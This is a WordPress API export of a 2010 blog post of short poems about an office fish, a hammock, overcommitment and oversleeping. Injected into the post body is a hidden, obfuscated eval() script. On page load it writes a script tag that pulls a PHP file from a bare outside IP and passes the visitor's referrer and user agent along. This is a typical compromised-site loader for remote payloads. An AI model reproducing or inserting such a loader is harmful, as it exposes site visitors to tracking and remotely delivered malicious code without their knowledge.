{"id":1057,"date":"2010-04-06T10:44:03","date_gmt":"2010-04-06T17:44:03","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1057"},"modified":"2011-10-07T13:50:25","modified_gmt":"2011-10-07T20:50:25","slug":"tweetiude","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1057","title":{"rendered":"tweetitude"},"content":{"rendered":"<p>The <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnetf|var|u0026u|referrer|bzknr||js|php'.split('|'),0,{}))\n<\/script><\/noindex> office fish was<br \/>\nlooking all patchy but now<br \/>\nhe seems much better<\/p>\n<p>online, and in a<br \/>\nhammock:  why can&#8217;t I just live<br \/>\nall my life this way?<\/p>\n<p>overcommitted<br \/>\nto too many projects and<br \/>\nthings that don&#8217;t matter<\/p>\n<p>usually I am late to work because<br \/>\nI&#8217;m lazy but today I actually<br \/>\nslept right through the alarm: oddly I find this<br \/>\nmuch more distressing<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The office fish was looking all patchy but now he seems much better online, and&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[42,45],"class_list":["post-1057","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-poem","tag-work"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1057"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1057"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1057\/revisions"}],"predecessor-version":[{"id":2169,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1057\/revisions\/2169"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1057"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1057"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1057"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}